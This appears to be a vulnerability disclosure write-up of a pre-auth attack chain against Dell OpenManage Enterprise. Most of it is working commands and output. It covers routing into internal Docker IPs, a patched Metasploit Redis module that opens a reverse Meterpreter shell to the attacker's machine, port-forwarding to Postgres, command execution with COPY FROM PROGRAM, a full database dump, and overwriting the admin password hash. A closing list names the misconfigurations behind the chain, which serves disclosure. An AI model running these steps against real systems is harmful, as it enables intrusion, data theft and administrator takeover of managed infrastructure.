Details - Remote Auth Bypass with 2 pre-auth RCEs in docker instances
There is a chain of pre-auth vulnerabilities allowing to:
get a shell on the redis container, as redis
get a shell on the postgres container, as postgres
get a full access to the postgres database
bypass authentication on the web interface as admin
Due to some requirements in the exploit chain, the attacker needs to be on the same subnet as the target (same LAN, without a gateway between the target and the attacker).
The attack scenario is:
attacker will own the redis running in a container inside the virtual machine running Dell OpenManage Enterprise and get a shell inside this container
attacker will use the shell inside the redis container as a relay to get access to the remote postgresql server
attacker will get a shell on the postgresql server
attacker will redefine a new password for the web interface and will dump the entire postgresql server
attacker will get an access on the web interface as admin
The network flow is:
Attacker(192.168.1.102) -> redis(169.254.255.3, routed by 192.168.1.100) -> Posgres(169.254.255.2)
IPs used in this setup:
192.168.1.100: target virtual machine running Dell OpenManage Enterprise.
192.168.1.102: attacker machine, running Kali.
Internal IPs inside Dell OpenManage Enterprise, by default, already configued by the solution:
169.254.255.2 is the internal IP of the postgres container running inside the virtual machine running Dell OpenManage Enterprise.
169.254.255.3 is the internal IP of the redis container running inside the virtual machine running Dell OpenManage Enterprise.
```
[root@openmanage-enterprise /]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ecf97860f111 redis:latest "docker-entrypoint.s" 2 hours ago Up 2 hours 127.0.0.1:6379->6379/tcp redis
e1e82315ec5b mcsi/omeproductionimage:2.6.0.43 "docker-entrypoint.s" 2 hours ago Up 2 hours 2345/tcp, 127.0.0.1:5432->5432/tcp primarydatabase
```
Shell and Metasploit session:
It is required to add a route to the internal IP of the redis container running inside OpenManage Enterprise:
```
kali# route add -host 169.254.255.3 gw 192.168.1.100
kali# traceroute -nI 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
1 192.168.1.100 0.775 ms 0.762 ms 1.060 ms
2 169.254.255.3 1.911 ms 1.922 ms 1.893 ms
```
On the 3.6.1 version, pings are now dropped. Using tcptraceroute:
```
kali# tcptraceroute 169.254.255.3 6379
Running:
traceroute -T -O info -p 6379 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
1 192.168.1.100 (192.168.1.100) 0.489 ms 0.440 ms 0.545 ms
2 169.254.255.3 (169.254.255.3) <syn,ack> 0.852 ms 0.821 ms 0.720 ms
```
An attacker can now reach the redis and postgres docker instances because iptables is not correctly configured and allow the 2 services to be reachable from the WAN. Also, by default, IP forwarding is enabled:
```
[root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding
net.ipv4.conf.all.forwarding = 1
```
Why not directly reaching Postgres ? By default, ACLs defined in Postgres configuration only allow connections from the 169.254.255.0/24 range, thus it is required to reach the redis interface available on the 169.254.255.3 IP and then use redis as a relay to reach the postgres instance.
```
local postgres postgres trust
host enterprisedb core_admin ::1/128 trust
host enterprisedb core_admin 127.0.0.1/32 trust
host enterprisedb core_admin 169.254.255.1/24 trust
local enterprisedb core_admin trust
local replication rep trust
host replication rep 169.254.255.1/24 trust
```
When trying to connect directly to the IP of Postgres, we can see it is ACL-blocked (after adding a route to 169.254.255.2):
```
kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
kali# psql: error: could not connect to server: FATAL: no pg_hba.conf entry for host "192.168.1.102", user "core_admin", database "enterprisedb", SSL off
```
We can test if we can reach directly the redis daemon, running inside the redis docker:
```
kali# telnet 169.254.255.3 6379
Trying 169.254.255.3...
Connected to 169.254.255.3.
Escape character is '^]'.
TEST
-ERR unknown command `TEST`, with args beginning with:
config set dir /tmp
+OK
^]q
telnet> q
Connection closed.
```
We can reach redis, time to get RCE using master/slave replication using metasploit.
On the attacker machine, it is required to update the `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb` file to use a writable directory for the user `redis`:
Patch `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb` to add:
```
131a132
> redis_command('CONFIG', 'SET', 'dir', '/tmp')
```
Metasploit session:
```
ali# msfconsole
msf5 > use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 192.168.1.102
SRVHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 169.254.255.3
RHOSTS => 169.254.255.3
msf5 exploit(linux/redis/redis_unauth_exec) > run
[*] Started reverse TCP handler on 192.168.1.102:4444
[*] 169.254.255.3:6379 - Compile redis module extension file
[+] 169.254.255.3:6379 - Payload generated successfully!
[*] 169.254.255.3:6379 - Listening on 192.168.1.102:6379
[*] 169.254.255.3:6379 - Rogue server close...
[*] 169.254.255.3:6379 - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.100:60572) at 2020-07-11 12:59:57 -0400
[!] 169.254.255.3:6379 - This exploit may require manual cleanup of './mkmiq.so' on the target
meterpreter > ls
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 46808 fil 2020-07-09 08:59:55 -0400 mkmiq.so
meterpreter > shell
Process 19 created.
Channel 1 created.
id
uid=999(redis) gid=999(redis) groups=999(redis)
exit
meterpreter >
```
Note, with a recent metasploit, the exploit has been moved to exploit/linux/redis/redis_replication_cmd_exec.
The diff is now:
```
diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
137a138
> redis_command('CONFIG', 'SET', 'DIR', '/tmp')
```
This works with all openmanage version (up to the latest version - 3.6.1).
After getting a shell as redis inside the redis docker, it is time to add a port forwarding to the postgresql, in order to bypass ACLs:
```
meterpreter > portfwd add -l 5432 -p 5432 -r 169.254.255.2
[*] Local TCP relay created: :5432 <-> 169.254.255.2:5432
```
On another shell, an attacker will get code execution inside the PGSQL container:
```
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (12.1 (Debian 12.1-2), server 11.6)
Type "help" for help.
enterprisedb-# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
enterprisedb | core_admin | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
cmd_output
-------------------------------------------------------
uid=26(postgres) gid=26(postgres) groups=26(postgres)
(1 row)
enterprisedb=#
```
Dump of database:
```
kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin > dump.sql
```
Time to redefine the administrator password:
Passwords are located in `encryptedstring` table:
```
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
4 | system
1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2
2 | admin
```
Change admin password into `x`:
```
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# UPDATE encryptedstring SET encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' WHERE id=1;
UPDATE 1
enterprisedb=#
```
Now, use admin / x on the web interface ( http://192.168.1.100/ ).
After reversing some java code, passwords are blowfish 10 rounds:
```
kali# python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bcrypt
>>> passwd = b'x'
>>> salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or bcrypt.gensalt(rounds=10)
>>> hashed = bcrypt.hashpw(passwd, salt)
>>> print(hashed)
b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
>>>
```
The main takeways in this setup are:
- Incorrect iptables firewall for Postgres and Redis - only the main IP of the appliance is correctly firewalled, docker instances have these 2 ports open
- IP forwarding is enabled
- Lack of authentication for Redis,
- Lack of authentication for Postgres, only based on IP with an errror when defining the netmask: 169.254.255.1/24 is being used instead of 169.254.255.1/32 or 169.254.255.0/24
- Incorrect ACL for Postgres
- SELinux is useless in this case because all actions are legit
- Custom 'encryption' everywhere to waste time
暂无评论